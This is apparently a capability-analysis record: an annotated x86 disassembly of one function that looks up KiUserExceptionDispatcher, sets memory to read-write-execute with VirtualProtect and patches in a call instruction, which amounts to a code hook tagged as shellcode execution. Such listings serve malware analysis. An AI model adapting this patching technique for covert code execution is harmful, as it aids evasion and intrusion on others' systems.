Function at 0x1001d2a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10091014]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [0x10092b98], 0
je 0x1001d2e3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001a41e
mov esp, ebp
pop ebp
ret 4
push esi
push str.KiUserExceptionDispatcher
push 0x1007b82c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 8], 0
xor eax, eax
mov dword [ebp - 0x14], esi
mov dword [0x10092b9c], esi
xor ecx, ecx
test eax, eax
jne 0x1001d327
cmp byte [ecx + esi], 0xfc
jne 0x1001d32d
cmp byte [ecx + esi + 1], 0x8b
jne 0x1001d32d
mov eax, 1
cmp byte [ecx + esi], 0xe8
je 0x1001d347
inc ecx
cmp ecx, 0x32
jle 0x1001d311
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001a41e
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ecx + esi + 1]
add eax, 5
add eax, ecx
add eax, esi
push 4
push eax
mov dword [0x10091020], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1001d333
push ebx
push edi
push str.wow64.dll
call fcn.1001b930
mov ebx, edx
add esp, 4
mov edi, eax
test ebx, ebx
ja 0x1001d38a
jb 0x1001d41b
cmp edi, 1
jb 0x1001d41b
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call esi
push eax
call fcn.1001de90
add esp, 8
mov dword [ebp - 0x10], eax
mov edx, 0x1007b94c
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x1001d3a4
mov ecx, dword [ebp - 0x10]
mov eax, 0x1001bea0
mov byte [ecx + 9], 0xe8
sub eax, dword [ebp - 0x10]
sub eax, 0xe
mov dword [ecx + 0xa], eax
mov eax, edi
or eax, ebx
je 0x1001d4d2
test ebx, ebx
ja 0x1001d47a
jb 0x1001d3e7
cmp edi, 0x7fffffff
jae 0x1001d46e
push 4
lea eax, [ebp - 0x14]
push eax
push 0xff4240
push edi
call fcn.1001cc80
cdq
add esp, 0x10
mov ecx, eax
mov dword [0x10092bd8], eax
or ecx, edx
mov dword [0x10092bdc], edx
jne 0x1001d431
push dword [ebp - 0x10]
call esi
push eax
call fcn.1001def0
add esp, 8
pop edi
pop ebx
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001a41e
mov esp, ebp
pop ebp
ret 4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
push 0x10
push eax
call esi
mov ecx, dword [0x10092bd8]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 0x10
push dword [0x10092bd8]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10092b98], 1
test ebx, ebx
jne 0x1001d47a
cmp edi, 0x7fffffff
jbe 0x1001d4d2
push 4
lea eax, [ebp - 0x14]
push eax
push ebx
push edi
call fcn.1001bd50
mov ecx, eax
mov dword [0x10092bd8], eax
add esp, 0x10
mov dword [0x10092bdc], edx
or ecx, edx
je 0x1001d4c4
push 0
push 4
lea ecx, [ebp - 0x10]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.1001c310
add esp, 0x18
test eax, eax
je 0x1001d4c4
mov dword [0x10092b98], 1
jmp 0x1001d4d2
push dword [ebp - 0x10]
call esi
push eax
call fcn.1001def0
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.1001a41e
mov esp, ebp
pop ebp
ret 4